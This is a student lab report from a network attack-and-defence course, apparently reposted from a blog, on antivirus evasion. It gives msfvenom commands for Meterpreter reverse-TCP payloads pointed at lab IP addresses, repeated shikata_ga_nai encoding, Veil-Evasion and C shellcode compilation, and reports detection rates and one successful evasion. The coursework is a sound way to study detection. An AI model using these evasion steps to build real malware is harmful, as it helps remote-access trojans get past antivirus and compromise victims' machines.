• 20145317 《网络对抗技术》免杀原理与实践


    20145317 《网络对抗技术》免杀原理与实践

    免杀技术

    技术分类

    改变特征码

    加壳:使用专业的加壳软件,掩盖特征码;

    使用encode等进行编码,进行异或、+1、-1等类似操作改变特征码;

    使用其他语言进行重写再编译,如veil-evasion。

    改变攻击行为

    反弹式连接能大大减少被阻止查杀的风险;

    在正常应用软件中插入恶意代码;

    将恶意代码加密,运行恶意代码后再解密进行恶意操作;

    非常规方法

    使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

    使用社工类攻击,诱骗目标关闭AV软件。

    纯手工打造一个恶意软件

    基础问题回答

    1.杀软是如何检测出恶意代码的?

    创建特征码库,对恶意代码的特征码进行匹配,匹配到即为恶意代码;

    看该代码是否被流行免杀加壳软件加壳,如果有可能就是恶意代码;

    根据该代码是否有恶意行为来判别,若有恶意的行为,我们就认为该代码是恶意代码。

    2.免杀是做什么?

    免杀就是通过改变恶意程序的明显特征等信息,一种能使病毒木马避免被杀毒软件查杀的技术。

    3.免杀的基本方法有哪些?

    改变特征码

    加壳:使用专业的加壳软件,掩盖特征码;

    使用encode等进行编码,进行异或、+1、-1等类似操作改变特征码;

    使用其他语言进行重写再编译,如veil-evasion。

    改变攻击行为

    反弹式连接能大大减少被阻止查杀的风险;

    在正常应用软件中插入恶意代码;

    将恶意代码加密,运行恶意代码后再解密进行恶意操作;

    实验步骤

    实践过程记录

    msfvenom直接生成meterpreter可执行文件

    • win8的IP地址:192.168.199.237
    • Kali的IP地址:192.168.199.109
    • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.109 PORT=302 -f exe > fool.exe命令生成meterpreter可执行文件fool.exe
    • 使用ncat将文件传输到win8主机
    • 电脑管家检测到fool.exe恶意软件并删除,找回文件即可
    • 我们上http://www.virscan.org/这个网站检测一下有多少查毒软件可以将其查杀出来
      • 点击浏览选项,自行选中所要检测的程序:fool.exe,随后点击扫描一下即可。
    • 检查结果如下:

    • 有21/39的杀毒软件发现有病毒

    Msfvenom使用编码器生成meterpreter可执行文件

    1)一次编码

    • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.1.118 LPORT=5317 -f exe > 5317dd.exe命令生成编码过的可执行文件5317dd.exe

    • 我们发现被编码后的payload大小为360字节,上面直接生成的payload大小为333字节,但是最终文件的大小都是73802字节。
    • 以上述相同方法传送给win8主机后再次检测:

    (2)8次编码

    • 编码八次:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b ‘x00’ LHOST=192.168.1.118 LPORT=5317 -f exe > 5317pp.exe

    • 由上图发现每编码一次,信息都会显示出来,而且每次payload增加27字节,最终payload大小为549字节,但是文件最终大小仍为73802字节
    • 再来检测一下:

    • 在编码8次之后,有21/39的杀毒软件检测出了有问题
    • 我们发现,一般的杀毒软件对于编码这种免杀方法都是有防御性的

    • 使用Veil-Evasion生成可执行文件

      • wins的IP地址:192.168.1.118
      • 在Kali中打开veil-evasion:直接在终端输入veil-evasion即可(如果是自己安装的kali可以用sudo apt-get veil-evasion下载一个)

      • 在该界面下输入命令:use python/meterpreter/rev_tcp,出现结果如下图所示:

      • 使用set LHOST 192.168.1.118命令将LHOST设为Kali的IP

      • 输入命令generate,进入到如下界面

      • 接下来我们输入自己生成的可执行文件的名字:5317py

      • 他会询问我们选择哪种编写方式,我们选择1,用python语言来编写,最终出现如下界面

      • 这里的端口我忘改了,不过这个也就和msf一样,自己随便设置就好。
      • 该可执行文件存在kali计算机的/var/lib/veil-evasion/output/compiled/文件夹里,点击即可找到相应的文件夹:

      • 检测结果如下:

      • 有10/39的杀毒软件报告发现有病毒,效果还是不错的

      使用C语言调用Shellcode

    • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=5317 -f c命令生成一个C语言shellcode数组

    • 创建一个C文件:MSSC.c(意为免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数:

    • 使用i686-w64-mingw32-g++ MSSC.c -o MSSC_5317.exe命令将该C语言代码MSSC.c转换为一个可在64位windows系统下操作的可执行文件MSSC_5317.exe

      • 将上面生成的数组copy到win8的主机上,用vs2013编写一个C程序并编译
      • 在Kali下使用msf监听运行刚刚编译生成的可执行文件,成功获取权限:

      • 检测一下:

      • 有5/39的查杀软件发现了病毒,比上一个超简单的C程序厉害了一点
      • 我们找到C可执行文件的位置,用电脑管家扫描一下,成功免杀。

  • 相关阅读:
    Java Gradle
    C/C++ C++11新特性
    C/C++ C++11原子类型和内存序
    基于流的编程(Flow-Based Programming)
    算法和数据结构 筛法求素数
    数据库 悲观锁和乐观锁
    数据库 事务隔离级别
    Serverless 的 AI 写诗,程序员浪漫起来谁能顶得住啊!
    亮点前瞻 | 首届 ServerlesssDays · China 大会议程发布
    腾讯云云函数 SCF Node.js Runtime 最佳实践
  • 原文地址:https://www.cnblogs.com/5317p/p/6624058.html
Copyright © 2020-2023  润新知